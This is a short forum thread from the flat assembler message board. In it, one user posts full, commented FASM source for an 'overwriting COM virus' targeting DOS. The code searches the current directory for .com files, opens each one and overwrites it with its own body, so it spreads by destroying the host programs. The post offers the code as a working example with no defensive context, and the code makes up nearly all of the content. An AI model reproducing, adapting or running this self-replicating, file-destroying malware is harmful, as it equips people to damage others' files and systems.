flat assembler
Message board for the users of flat assembler.

Index > DOS > Overwriting virii

Author
Thread Post new topic Reply to topic
me239



Joined: 06 Jan 2011
Posts: 200
me239 04 Feb 2011, 03:58
Hello everyone, I wanted to show a simpler example of my previous post. This is an overwritting COM virus in FASM:
Code:
org 100h
start: 
        xor cx, cx ; normal file attributes
        mov dx, comfile ; comfile wild card
        mov ah, 4eh ; find first file
next: 
        int 21h ; find file
        jc exit ; if error, exit
infect: 
        mov ax, 3d02h ; open read/write
        mov dx, 9eh ; 9eh = offset in DTA of file found with 4eh/4fh
        int 21h ; open it
        xchg   ax, bx ; save handle
        mov ah, 40h ; write function
        mov dx, start ; copy starting at 'start'
        mov cx, vend-start ; size = vend-start
        int 21h ; infect
        mov ah, 3eh ;close file handle
        int 21h ; close it
        mov ah, 4fh ; find next file
        jmp next ; jump back to search loop
exit: 
        int 20h ; standard COM exit
comfile db "*.com", 0 ; com wildcard always NULLED at end
vend: ;end of code for size calculation
    
Post 04 Feb 2011, 03:58
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.